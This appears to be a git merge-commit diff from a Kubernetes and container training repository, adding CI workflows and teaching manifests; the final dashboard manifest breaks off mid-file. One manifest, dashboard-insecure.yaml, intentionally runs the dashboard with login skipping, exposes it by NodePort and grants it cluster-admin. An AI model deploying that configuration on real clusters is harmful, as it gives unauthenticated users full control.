Merge pull request 'Pin ghcr.io/renovatebot/renovate Docker tag to e09f710' (#106) from renovate/pin-dependencies into main

Reviewed-on: #4

.gitallowed

@@ -0,0 +1,2 @@
+slides/remark.min.js
+slides/remark-0.14.min.js

.gitea/workflows/build.yaml

@@ -0,0 +1,40 @@
+name: Gitea Actions Demo Training
+run-name: ${{ github.actor }} is testing out Gitea Actions 🚀
+# Which git events can trigger this
+on: [push]
+jobs:
+  Explore-Gitea-Actions:
+    # Runner to use
+    runs-on: ubuntu-24.04
+    steps:
+      - run: echo "🎉 The job was automatically triggered by a ${{ github.event_name }} event."
+      - run: echo "🐧 This job is now running on a ${{ runner.os }} server hosted by Gitea!"
+      - run: echo "🔎 The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}."
+      - name: Check out repository code
+        uses: actions/checkout@v6
+      - run: echo "💡 The ${{ github.repository }} repository has been cloned to the runner."
+      - run: echo "🖥️ The workflow is now ready to test your code on the runner."
+      - uses: https://github.com/actions/setup-python@v6
+        with:
+          python-version: '3.11.3'
+          cache: 'pip'
+      - name: Execute a shell script
+        run: |
+          ls -l ${{ github.workspace }}
+          cd slides
+          # pip3 install -r requirements.txt
+          #./build.sh once
+          mount
+          df
+      - run: echo "🍏 This job's status is ${{ job.status }}."
+  # Second-step:
+  #   runs-on: ubuntu-latest
+  #   steps:
+  #     - name: Run another shell script
+  #       run: |
+  #         set -x
+  #         env | sort
+  #         cd ${{ github.workspace }}
+  #         ls
+  #         cd slides
+  #         ./build.sh once

.gitea/workflows/docker-hello-world.yaml

@@ -0,0 +1,18 @@
+# name: Docker Image CI
+
+# on:
+#   push:
+#     # branches: [ $default-branch ]
+#   pull_request:
+#     branches: [ $default-branch ]
+
+# jobs:
+#   build:
+#     runs-on: ubuntu-latest
+
+#     steps:
+#     - uses: actions/checkout@v3
+
+#     - uses: https://github.com/actions/hello-world-docker-action@main
+#       with:
+#         who-to-greet: 'Mona the Octocat'

.gitea/workflows/renovate.yaml

@@ -0,0 +1,30 @@
+name: renovate
+
+on:
+  # schedule:
+  #   - cron: "@daily"
+  push:
+    branches:
+      - main
+
+jobs:
+  renovate:
+    runs-on: ubuntu-latest
+    container: ghcr.io/renovatebot/renovate:42.64.1@sha256:e09f71019881fff15f397560d979736c6c6fd712f790fdb0a75697a324ee965a
+    steps:
+      - uses: actions/checkout@v6
+      - run: renovate
+        env:
+          LOG_LEVEL: "info"
+          # Use private gitea
+          RENOVATE_ENDPOINT: "https://git.verleun.org/api/v1"
+          # Set the author for commits
+          RENOVATE_GIT_AUTHOR: "Renovate Bot <renovate-bot@verleun.org>"
+          # Authenticate with token
+          RENOVATE_TOKEN: ${{ secrets.RENOVATE_TOKEN }}
+          # Used to retrieve release notes
+          GITHUB_COM_TOKEN: ${{ secrets.GH_TOKEN }}
+          RENOVATE_PLATFORM: "gitea"
+          RENOVATE_AUTODISCOVER: "false"
+          # Define repo based on gitea vars
+          RENOVATE_REPOSITORIES: "${{ gitea.repository }}"

.gitignore

@@ -43,8 +43,8 @@ crash.log
 crash.*.log
 
 # Exclude all .tfvars files, which are likely to contain sensitive data, such as
-# password, private keys, and other secrets. These should not be part of version 
-# control as they are data points which are potentially sensitive and subject 
+# password, private keys, and other secrets. These should not be part of version
+# control as they are data points which are potentially sensitive and subject
 # to change depending on the environment.
 *.tfvars
 *.tfvars.json
@@ -66,25 +66,22 @@ override.tf.json
 .terraformrc
 terraform.rc
 
-slides/index.html
-slides/intro-triodos-1-day.yml.html
-slides/past.html
-slides/index.html
 slides/slides.zip
 slides/index.html
 slides/past.html
 slides/slides.zip
-prepare-vms/tags/triodos/status
-prepare-vms/tags/triodos/ips.html
-prepare-vms/tags/triodos/ips.txt
-prepare-vms/tags/triodos/ips.pdf
-prepare-vms/tags/triodos/ips.html
-prepare-vms/tags/triodos/ips.txt
-slides/intro-fullday.yml.html
-slides/intro-selfpaced.yml.html
-slides/intro-twodays.yml.html
-prepare-vms/tags/triodos/ips.html
-prepare-vms/tags/triodos/ips.txt
-prepare-vms/tags/triodos/status
-slides/intro-bd-docker.yml.html
-slides/intro-bd-k8s.yml.html
+prepare-vms/tags/
+
+
+prepare-vms/tags/*/status
+prepare-vms/tags/*/ips.html
+prepare-vms/tags/*/ips.txt
+prepare-vms/tags/*/ips.pdf
+prepare-vms/www/
+
+kubernetes-day/dependencyTrack/
+slides/*.yml.html
+slides/past.html
+
+
+mkdocs/mkdocs/

.pre-commit-config.yaml

@@ -0,0 +1,11 @@
+repos:
+-   repo: https://github.com/pre-commit/pre-commit-hooks
+    rev: v4.5.0
+    hooks:
+    #-   id: check-yaml
+    -   id: end-of-file-fixer
+    -   id: trailing-whitespace
+#-   repo: https://github.com/psf/black
+#    rev: 22.10.0
+#    hooks:
+#    -   id: black

.vscode/settings.json

@@ -0,0 +1,4 @@
+{
+    "ansible.python.interpreterPath": "/opt/homebrew/bin/python3",
+    "GitHooks.hooksDirectory": "/Users/marco/Gitea/training/containers/.git/hooks"
+}

.woodpecker.yml

@@ -1,9 +0,0 @@
-pipeline:
-  render_website:
-    image: ubuntu
-    commands:
-      - apt update > /dev/null
-      - apt install -y python3-pip git zip inotify-tools ca-certificates > /dev/null
-      - pip3 install -r slides/requirements.txt > /dev/null
-      - cd slides
-      - ./build.sh

README.md

@@ -1,2 +1,6 @@
 # containers
 
+
+Now with runners...
+
+And a simple webhook

k8s/Tiltfile.helmchart

@@ -0,0 +1,8 @@
+k8s_yaml(helm(
+    "./path-to-chart", name="blue",
+    values=[], # Example: ["./path/to/values.yaml"]
+    set=[
+        "image.repository=jpetazzo/color",
+        "image.tag=latest",
+    ]
+))

k8s/admission-configuration.yaml

@@ -0,0 +1,16 @@
+apiVersion: apiserver.config.k8s.io/v1
+kind: AdmissionConfiguration
+plugins:
+- name: PodSecurity
+  configuration:
+    apiVersion: pod-security.admission.config.k8s.io/v1alpha1
+    kind: PodSecurityConfiguration
+    defaults:
+      enforce: baseline
+      audit: baseline
+      warn: baseline
+    exemptions:
+      usernames:
+      - cluster-admin
+      namespaces:
+      - kube-system

k8s/canary.yaml

@@ -0,0 +1,21 @@
+apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: whatever
+  annotations:
+    traefik.ingress.kubernetes.io/service-weights: |
+      whatever: 90%
+      whatever-new: 10%
+spec:
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: whatever
+          servicePort: 80
+      - path: /
+        backend:
+          serviceName: whatever-new
+          servicePort: 80

k8s/certbot.yaml

@@ -0,0 +1,35 @@
+kind: Service
+apiVersion: v1
+metadata:
+  name: certbot
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+---
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: certbot
+spec:
+  rules:
+  - http:
+      paths:
+      - path: /.well-known/acme-challenge/
+        pathType: Prefix
+        backend:
+          service:
+            name: certbot
+            port:
+              number: 80
+---
+apiVersion: v1
+kind: Endpoints
+metadata:
+  name: certbot
+subsets:
+- addresses:
+  - ip: A.B.C.D
+  ports:
+  - port: 8000
+    protocol: TCP

k8s/cm-certificate.yaml

@@ -0,0 +1,11 @@
+apiVersion: cert-manager.io/v1
+kind: Certificate
+metadata:
+  name: xyz.A.B.C.D.nip.io
+spec:
+  secretName: xyz.A.B.C.D.nip.io
+  dnsNames:
+  - xyz.A.B.C.D.nip.io
+  issuerRef:
+    name: letsencrypt-staging
+    kind: ClusterIssuer

k8s/cm-clusterissuer.yaml

@@ -0,0 +1,17 @@
+apiVersion: cert-manager.io/v1
+kind: ClusterIssuer
+metadata:
+  name: letsencrypt-staging
+spec:
+  acme:
+    # Remember to update this if you use this manifest to obtain real certificates :)
+    email: hello@example.com
+    server: https://acme-staging-v02.api.letsencrypt.org/directory
+    # To use the production environment, use the following line instead:
+    #server: https://acme-v02.api.letsencrypt.org/directory
+    privateKeySecretRef:
+      name: issuer-letsencrypt-staging
+    solvers:
+    - http01:
+        ingress:
+          class: traefik

k8s/coffee-1.yaml

@@ -0,0 +1,17 @@
+# Note: apiextensions.k8s.io/v1beta1 is deprecated, and won't be served
+# in Kubernetes 1.22 and later versions. This YAML manifest is here just
+# for reference, but it's not intended to be used in modern trainings.
+apiVersion: apiextensions.k8s.io/v1beta1
+kind: CustomResourceDefinition
+metadata:
+  name: coffees.container.training
+spec:
+  group: container.training
+  version: v1alpha1
+  scope: Namespaced
+  names:
+    plural: coffees
+    singular: coffee
+    kind: Coffee
+    shortNames:
+    - cof

k8s/coffee-2.yaml

@@ -0,0 +1,20 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: coffees.container.training
+spec:
+  group: container.training
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+  scope: Namespaced
+  names:
+    plural: coffees
+    singular: coffee
+    kind: Coffee
+    shortNames:
+    - cof

k8s/coffee-3.yaml

@@ -0,0 +1,37 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: coffees.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: coffees
+    singular: coffee
+    kind: Coffee
+    shortNames:
+    - cof
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        required: [ spec ]
+        properties:
+          spec:
+            type: object
+            properties:
+              taste:
+                description: Subjective taste of that kind of coffee bean
+                type: string
+            required: [ taste ]
+    additionalPrinterColumns:
+    - jsonPath: .spec.taste
+      description: Subjective taste of that kind of coffee bean
+      name: Taste
+      type: string
+    - jsonPath: .metadata.creationTimestamp
+      name: Age
+      type: date

k8s/coffees.yaml

@@ -0,0 +1,34 @@
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: arabica
+spec:
+  taste: strong
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: excelsa
+spec:
+  taste: fruity
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: liberica
+spec:
+  taste: smoky
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: robusta
+spec:
+  taste: stronger
+  bitterness: high
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: java

k8s/consul-1.yaml

@@ -0,0 +1,78 @@
+# Basic Consul cluster using Cloud Auto-Join.
+# Caveats:
+# - no actual persistence
+# - scaling down to 1 will break the cluster
+# - pods may be colocated
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: consul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: consul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: consul
+subjects:
+  - kind: ServiceAccount
+    name: consul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: consul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: consul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: consul
+spec:
+  serviceName: consul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: consul
+  template:
+    metadata:
+      labels:
+        app: consul
+    spec:
+      serviceAccountName: consul
+      containers:
+        - name: consul
+          image: "consul:1.11"
+          env:
+            - name: NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"

k8s/consul-2.yaml

@@ -0,0 +1,89 @@
+# Better Consul cluster.
+# There is still no actual persistence, but:
+# - podAntiaffinity prevents pod colocation
+# - clusters works when scaling down to 1 (thanks to lifecycle hook)
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: consul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: consul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: consul
+subjects:
+  - kind: ServiceAccount
+    name: consul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: consul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: consul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: consul
+spec:
+  serviceName: consul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: consul
+  template:
+    metadata:
+      labels:
+        app: consul
+    spec:
+      serviceAccountName: consul
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            - labelSelector:
+                matchLabels:
+                  app: consul
+              topologyKey: kubernetes.io/hostname
+      terminationGracePeriodSeconds: 10
+      containers:
+        - name: consul
+          image: "consul:1.11"
+          env:
+            - name: NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"
+          lifecycle:
+            preStop:
+              exec:
+                command: [ "sh", "-c", "consul leave" ]

k8s/consul-3.yaml

@@ -0,0 +1,99 @@
+# Even better Consul cluster.
+# That one uses a volumeClaimTemplate to achieve true persistence.
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: consul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: consul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: consul
+subjects:
+  - kind: ServiceAccount
+    name: consul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: consul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: consul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: consul
+spec:
+  serviceName: consul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: consul
+  volumeClaimTemplates:
+    - metadata:
+        name: data
+      spec:
+        accessModes:
+          - ReadWriteOnce
+        resources:
+          requests:
+            storage: 1Gi
+  template:
+    metadata:
+      labels:
+        app: consul
+    spec:
+      serviceAccountName: consul
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            - labelSelector:
+                matchLabels:
+                  app: consul
+              topologyKey: kubernetes.io/hostname
+      terminationGracePeriodSeconds: 10
+      containers:
+        - name: consul
+          image: "consul:1.11"
+          volumeMounts:
+            - name: data
+              mountPath: /consul/data
+          env:
+            - name: NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"
+          lifecycle:
+            preStop:
+              exec:
+                command: [ "sh", "-c", "consul leave" ]

k8s/dashboard-insecure.yaml

@@ -0,0 +1,340 @@
+# This file was generated with the script ./update-dashboard-yaml.sh.
+#
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard
+spec: {}
+status: {}
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-certs
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-csrf
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-key-holder
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+data: null
+kind: ConfigMap
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-settings
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-metrics
+rules:
+- apiGroups:
+  - metrics.k8s.io
+  resources:
+  - pods
+  - nodes
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-metrics
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard-metrics
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+rules:
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-key-holder
+  - kubernetes-dashboard-certs
+  - kubernetes-dashboard-csrf
+  resources:
+  - secrets
+  verbs:
+  - get
+  - update
+  - delete
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-settings
+  resources:
+  - configmaps
+  verbs:
+  - get
+  - update
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - dashboard-metrics-scraper
+  resources:
+  - services
+  verbs:
+  - proxy
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - 'http:heapster:'
+  - 'https:heapster:'
+  - dashboard-metrics-scraper
+  - http:dashboard-metrics-scraper
+  resources:
+  - services/proxy
+  verbs:
+  - get
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Service
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+    kubernetes.io/cluster-service: "true"
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  ports:
+  - name: http
+    port: 443
+    targetPort: http
+  selector:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/name: kubernetes-dashboard
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/component: kubernetes-dashboard
+      app.kubernetes.io/instance: kubernetes-dashboard
+      app.kubernetes.io/name: kubernetes-dashboard
+  strategy:
+    rollingUpdate:
+      maxSurge: 0
+      maxUnavailable: 1
+    type: RollingUpdate
+  template:
+    metadata:
+      annotations: null
+      labels:
+        app.kubernetes.io/component: kubernetes-dashboard
+        app.kubernetes.io/instance: kubernetes-dashboard
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/name: kubernetes-dashboard
+        app.kubernetes.io/version: 2.7.0
+        helm.sh/chart: kubernetes-dashboard-6.0.0
+    spec:
+      containers:
+      - args:
+        - --namespace=kubernetes-dashboard
+        - --sidecar-host=http://127.0.0.1:8000
+        - --enable-skip-login
+        - --enable-insecure-login
+        image: kubernetesui/dashboard:v2.7.0
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 9090
+            scheme: HTTP
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: kubernetes-dashboard
+        ports:
+        - containerPort: 9090
+          name: http
+          protocol: TCP
+        resources:
+          limits:
+            cpu: 2
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /certs
+          name: kubernetes-dashboard-certs
+        - mountPath: /tmp
+          name: tmp-volume
+      - image: kubernetesui/metrics-scraper:v1.0.8
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8000
+            scheme: HTTP
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: dashboard-metrics-scraper
+        ports:
+        - containerPort: 8000
+          protocol: TCP
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /tmp
+          name: tmp-volume
+      securityContext:
+        seccompProfile:
+          type: RuntimeDefault
+      serviceAccountName: kubernetes-dashboard
+      volumes:
+      - name: kubernetes-dashboard-certs
+        secret:
+          secretName: kubernetes-dashboard-certs
+      - emptyDir: {}
+        name: tmp-volume
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard:insecure
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard

k8s/dashboard-recommended.yaml

@@ -0,0 +1,325 @@
+# This file was generated with the script ./update-dashboard-yaml.sh.
+#
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard
+spec: {}
+status: {}
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-certs
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-csrf
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-key-holder
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+data: null
+kind: ConfigMap
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-settings
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-metrics
+rules:
+- apiGroups:
+  - metrics.k8s.io
+  resources:
+  - pods
+  - nodes
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-metrics
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard-metrics
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+rules:
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-key-holder
+  - kubernetes-dashboard-certs
+  - kubernetes-dashboard-csrf
+  resources:
+  - secrets
+  verbs:
+  - get
+  - update
+  - delete
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-settings
+  resources:
+  - configmaps
+  verbs:
+  - get
+  - update
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - dashboard-metrics-scraper
+  resources:
+  - services
+  verbs:
+  - proxy
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - 'http:heapster:'
+  - 'https:heapster:'
+  - dashboard-metrics-scraper
+  - http:dashboard-metrics-scraper
+  resources:
+  - services/proxy
+  verbs:
+  - get
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+roleRef:
